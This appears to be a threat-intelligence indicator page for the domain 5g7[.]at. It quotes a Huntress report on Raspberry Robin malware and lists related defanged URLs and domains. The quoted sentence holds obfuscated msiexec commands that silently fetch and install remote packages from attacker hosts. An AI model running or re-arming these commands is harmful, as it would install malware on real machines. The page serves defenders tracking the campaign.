5g7[.]atDomain
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 3 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Evolution of USB-Borne Malware, Raspberry Robin“msiexec.exe -qUIeT /I hxxp://5g7[.]AT:8080/y8yNq/iZR/whjn/Ax6q80a/Y1Z5/j/fs/VTSAO?xxxx <redacted> FUBb=jxbCAQtnu"msIeXeC YliNpQ=YgYdWQ /q VZFfOPaC=gwiIp jE=jnlD -fV "hxxp://FxB.tw:8080/AMBG/9FlMJgrIkRjJfVw2bWSju/Machine=User"MsIEXEc HbeLpYii=TPvbe WyWsZiUBG=mpV /I "hxxp://eJK.bz:80…”
Indicators reported together
named in the same reports- hxxp://5g7[.]at:8080/y8yNq/iZR/whjn/Ax6q80a/Y1Z5/j/fs/VTSAO?xxxxin 1 report
- hxxp://fxb[.]tw:8080/AMBG/9FlMJgrIkRjJfVw2bWSju/Machine=Userin 1 report
- fxb[.]twin 1 report
- hxxp://ejk[.]bz:8080/BC/A3Y7fxb0oDMXkstfQGYd/Machine?Userin 1 report
- ejk[.]bzin 1 report
- hxxp://jrx[.]fr:8080/yKyC/bSis/yUp0OSNBN0eTTIjpK/Machine=Userin 1 report
- jrx[.]frin 1 report
- hxxp://zjc[.]bz:8080/AoA3LSHNJCaFIM/hMgkh/62oyni/in 1 report
- zjc[.]bzin 1 report
- hxxp://zjc[.]bz:8080in 1 report
Copy these 10 indicators · defanged
Thanks — we review every report.